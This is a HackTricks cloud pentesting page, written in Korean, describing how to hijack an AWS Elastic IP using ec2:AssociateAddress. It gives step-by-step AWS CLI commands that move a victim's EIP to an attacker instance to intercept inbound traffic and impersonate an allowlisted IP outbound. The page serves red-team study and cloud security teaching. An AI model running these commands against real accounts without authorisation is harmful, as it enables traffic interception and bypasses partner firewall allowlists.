AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

요약

ec2:AssociateAddress (및 선택적으로 ec2:DisassociateAddress)를 악용하여 피해자 instance/ENI에 할당된 Elastic IP (EIP)를 공격자 instance/ENI로 재연결합니다. 이렇게 하면 EIP로 향하던 수신 트래픽이 공격자로 리디렉션되며, 공격자는 허용된 공용 IP로 발신 트래픽을 생성해 외부 파트너 방화벽을 우회할 수 있습니다.

전제 조건

  • 대상 EIP 할당 ID가 동일한 계정/VPC에 있어야 합니다.
  • 공격자가 제어하는 instance/ENI.
  • 권한:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress on the EIP allocation-id and on the attacker instance/ENI
  • ec2:DisassociateAddress (선택사항). 참고: --allow-reassociation은 이전 attachment에서 자동으로 분리됩니다.

공격

변수

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. 피해자의 EIP를 할당하거나 식별합니다 (랩이 새 EIP를 할당해 피해자에게 연결합니다)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. EIP가 현재 피해자 서비스로 해석되는지 확인합니다 (예: 배너 확인)
bash
curl -sS http://$EIP | grep -i victim
  1. EIP를 attacker에게 재연결 (victim에서 자동으로 분리됨)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. EIP가 이제 attacker service로 해석되는지 확인
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

증거 (이동된 연관):

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

영향

  • Inbound impersonation: 하이재킹된 EIP로 향하는 모든 트래픽이 공격자 instance/ENI로 전달됩니다.
  • Outbound impersonation: 공격자는 allowlisted public IP에서 발생한 것처럼 보이는 트래픽을 시작할 수 있습니다(파트너/외부 소스 IP 필터를 우회하는 데 유용).

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기